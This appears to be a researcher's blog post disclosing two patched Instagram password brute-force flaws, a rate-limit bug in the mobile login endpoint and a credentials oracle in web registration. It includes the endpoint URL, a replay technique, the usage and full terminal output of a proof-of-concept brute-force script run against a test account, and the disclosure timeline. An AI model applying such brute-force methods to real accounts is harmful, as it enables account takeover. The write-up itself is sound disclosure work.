TL;DR: Instagram contained two distinct vulnerabilities that allowed an attacker to brute-force passwords of user accounts. Combined with user enumeration, a weak password policy, no 2FA nor other mitigating security controls, this could have allowed an attacker to compromise many accounts without any user interaction, including high-profile ones. Facebook fixed both issues and awarded a combined bounty of $5.000.

Introduction

Authentication brute-force vulnerabilities are very serious issues for any web application. Users are known to pick weak passwords and reuse them and many dictionaries with millions of human-chosen passwords are publicly available to attackers to easily mount successful attacks. However, there are some additional arguments that make brute-force particularly effective against Instagram:

• User Enumeration: Instagram usernames are public & enumerable via incremental userIDs.
• Weak Password Policy: At the time of submission, the Instagram password policy only enforced a minimum length of 6 characters, allowing choices such as “123456” and “password”.
• Two-Factor Authentication: 2FA has only been introduced in February 2016, and is still not rolled out globally.
• Account Lockout Policy: No account lockout policy is currently in place, nor any other mitigating security controls.

Therefore, exploitation of these issues could have resulted in the compromise of millions of the 400+ million active Instagram accounts – especially those with predictable passwords. Of course, targeted attacks against high-profile (Celebrity) accounts could have been very effective as well (cf. Apple’s Celebgate).

Case 1: Implementation Bug in Mobile Authentication Brute-force Protection

Out of Scope: In order to identify the Mobile Authentication endpoint communication in an intercepting proxy, SSL Pinning had to be bypassed in the Instagram for Android application. Additionally, in order to modify & attack this endpoint communication, a key had to be phished from the Android application, which is used to generate a HMACSHA256 signature over the POST parameters of every outgoing request. A Burp Plugin was written that transparently hotpatches the signature for outgoing requests generated, such as those generated by the Burp Intruder module – see below. More details can be found in this previous blogpost.

The Instagram for Android application used the endpoint at https://i.instagram.com/api/v1/accounts/login/ to perform authentication. A simple brute-force attack against this mobile authentication endpoint with Burp Intruder revealed that approximately 1000 reliable guesses could be made from one unique IP address, after which the response changed to “username not found”, although the user obviously still existed (Rate limiting):

However, only the next consecutive 1000 guesses resulted in the “username not found” response error message. From the 2000th consecutive guess onward, a reliable response (password correct/incorrect) was followed by an unreliable one (user not found):

This allowed a reliable brute-force attack, since an attacker could reason on the reliable response messages and simply replay the unreliable ones until a reliable answer was received. The only limitation of this attack was that on average, 2 authentication requests had to be made for one reliable password guess attempt. A quick & dirty python script with basic threading support “InstaBrutal.py” was made to prove this. The output of a brute-force attack of 10000 popular passwords against my Instagram test account “bruteforceme” with password “perfect-crime” can be seen here:

1. # tail -f 10k_most_common.txt 
2. hoes
3. howie
4. hevnm4
5. hugohugo
6. epson
7. evangeli
8. eeeee1
9. eyphed
10. perfectcrime
11.  
12. # python instabrutal.py                                            
13. [INFO] Usage: python instabrutal.py <INSTAGRAM_USERNAME> <DICTIONARY_FILENAME> <THREADS> [DEBUG]
14.  
15. # python instabrutal.py bruteforceme 10k_most_common.txt 50
16. [INFO] Creating 50 worker threads...
17. [INFO] Total # passwords: 10001
18. [INFO] Total # threads: 50
19. 147.20 pw/s [=] 7% (736/10001) (Good:686 Bad:0 Error:0)
20. 105.00 pw/s [==] 10% (1050/10001) (Good:1000 Bad:272 Error:0)
21. 70.00 pw/s [==] 10% (1050/10001) (Good:1000 Bad:706 Error:0)
22. 55.00 pw/s [==] 10% (1100/10001) (Good:1050 Bad:1028 Error:0)
23. 50.84 pw/s [==] 12% (1271/10001) (Good:1221 Bad:1218 Error:0)
24. 50.60 pw/s [===] 15% (1518/10001) (Good:1468 Bad:1453 Error:0)
25. 49.94 pw/s [===] 17% (1748/10001) (Good:1698 Bad:1696 Error:0)
26. 49.50 pw/s [===] 19% (1980/10001) (Good:1930 Bad:1913 Error:0)
27. 48.56 pw/s [====] 21% (2185/10001) (Good:2135 Bad:2132 Error:0)
28. 48.18 pw/s [====] 24% (2409/10001) (Good:2359 Bad:2353 Error:0)
29. 48.20 pw/s [=====] 26% (2651/10001) (Good:2601 Bad:2593 Error:0)
30. 48.02 pw/s [=====] 28% (2881/10001) (Good:2831 Bad:2825 Error:0)
31. 46.57 pw/s [======] 30% (3027/10001) (Good:2977 Bad:2973 Error:0)
32. 46.96 pw/s [======] 32% (3287/10001) (Good:3237 Bad:3234 Error:0)
33. 46.72 pw/s [=======] 35% (3504/10001) (Good:3466 Bad:3427 Error:0)
34. 46.38 pw/s [=======] 37% (3710/10001) (Good:3660 Bad:3658 Error:0)
35. 46.61 pw/s [=======] 39% (3962/10001) (Good:3912 Bad:3910 Error:0)
36. 46.58 pw/s [========] 41% (4192/10001) (Good:4142 Bad:4130 Error:0)
37. 45.88 pw/s [========] 43% (4359/10001) (Good:4309 Bad:4303 Error:0)
38. 46.25 pw/s [=========] 46% (4625/10001) (Good:4575 Bad:4573 Error:0)
39. 46.47 pw/s [=========] 48% (4879/10001) (Good:4829 Bad:4823 Error:0)
40. 45.84 pw/s [==========] 50% (5042/10001) (Good:4992 Bad:4990 Error:0)
41. 45.95 pw/s [==========] 52% (5284/10001) (Good:5234 Bad:5229 Error:0)
42. 45.93 pw/s [===========] 55% (5512/10001) (Good:5462 Bad:5455 Error:0)
43. 45.97 pw/s [===========] 57% (5746/10001) (Good:5696 Bad:5693 Error:0)
44. 45.55 pw/s [===========] 59% (5921/10001) (Good:5871 Bad:5870 Error:0)
45. 45.70 pw/s [============] 61% (6169/10001) (Good:6119 Bad:6115 Error:0)
46. 45.84 pw/s [============] 64% (6418/10001) (Good:6368 Bad:6355 Error:0)
47. 45.86 pw/s [=============] 66% (6649/10001) (Good:6599 Bad:6594 Error:0)
48. 45.81 pw/s [=============] 68% (6872/10001) (Good:6822 Bad:6812 Error:0)
49. 45.32 pw/s [==============] 70% (7025/10001) (Good:6975 Bad:6973 Error:0)
50. 45.63 pw/s [==============] 73% (7301/10001) (Good:7251 Bad:7247 Error:0)
51. 45.63 pw/s [===============] 75% (7529/10001) (Good:7479 Bad:7463 Error:0)
52. 45.56 pw/s [===============] 77% (7746/10001) (Good:7696 Bad:7680 Error:0)
53. 45.17 pw/s [===============] 79% (7905/10001) (Good:7855 Bad:7839 Error:0)
54. 45.54 pw/s [================] 81% (8197/10001) (Good:8147 Bad:8134 Error:0)
55. 45.36 pw/s [================] 83% (8392/10001) (Good:8342 Bad:8342 Error:0)
56. 45.26 pw/s [=================] 85% (8599/10001) (Good:8549 Bad:8547 Error:0)
57. 45.43 pw/s [=================] 88% (8858/10001) (Good:8807 Bad:8801 Error:0)
58. 45.49 pw/s [==================] 90% (9098/10001) (Good:9047 Bad:9037 Error:0)
59. 45.31 pw/s [==================] 92% (9289/10001) (Good:9238 Bad:9224 Error:0)
60. 45.24 pw/s [===================] 95% (9501/10001) (Good:9450 Bad:9441 Error:0)
61. 45.41 pw/s [===================] 97% (9763/10001) (Good:9712 Bad:9711 Error:0)
62. 45.37 pw/s [===================] 99% (9982/10001) (Good:9931 Bad:9924 Error:0)
63. [SUCCESS] Found the right password: perfectcrime
64. 44.45 pw/s [====================] 100% (10001/10001) (Good:9999 Bad:9992 Error:0)
65. [End] Total time: 227 seconds

Notice that the first 1000 guesses were reliable (“good”) guesses, followed by 1000 unreliable ones (“bad”), which were ignored by the python script. Hereafter, the ratio remained closely around 50%. The numbers are slightly off due to lack of thread locks around the global variables storing them, as the purpose of the quick & dirty script was to simply prove the underlying vulnerability.

Although the script made 10001 password guesses for account “bruteforceme”, an attacker could simply login from any IP address, including the one that was used to mount the brute-force attack. This indicated a lack of additional security controls against account compromise, such as account lockout, IP address location-based fraud detection.

Case 2: Credentials Oracle in Web Registration Endpoint

Since a couple of months, Instagram allows registration via its website as opposed to only via its mobile applications. Registering a test account “arneswinnen8168” with password “passwd” issued the following underlying request & response:

However, by simply replaying this exact request, a different response message was now encountered:

After removing all parameters in the request except “username” and “password”, the replay of a request with a correct password value and one of an incorrect password value highlights the credentials oracle:

Finally, a burp intruder brute-force attack of 10001 passwords, with the 10001th entry being the correct password “passwd”, confirmed the trivial brute-force attack:

Logging in with the harvested credentials again worked, no account lockout or other security controls were triggered during the successful brute-force attack:

Facebook’s Mitigations

• Issue #1 was resolved by fixing the rate-limiting bug in the mobile authentication endpoint.
• Issue #2 was resolved by introducing rate-limiting on the web registration endpoint.
• The password policy was slightly hardened, and extremely easy passwords such as “123456” and “password” are now not allowed anymore.

Timeline

• 28/12/2015: Submitted bug report for issue #1 to Facebook Bug Bounty, including PoC python script.
• 08/02/2016: Submitted bug report for issue #2 to Facebook Bug Bounty.
• 11/02/2016: Facebook confirmed that issue #2 is patched.
• 13/02/2016: Facebook confirmed that issue #1 was patched earlier as well and granted a combined bounty of $5.000.
• 04/04/2016: Informed Facebook that fix for issue #2 is not effective.
• 10/05/2016: Facebook reconfirmed new fix for issue #2.
• 19/05/2016: New fix deemed working, public disclosure.

Retrieved from:

Arne Swinnen's blog May 19, 2016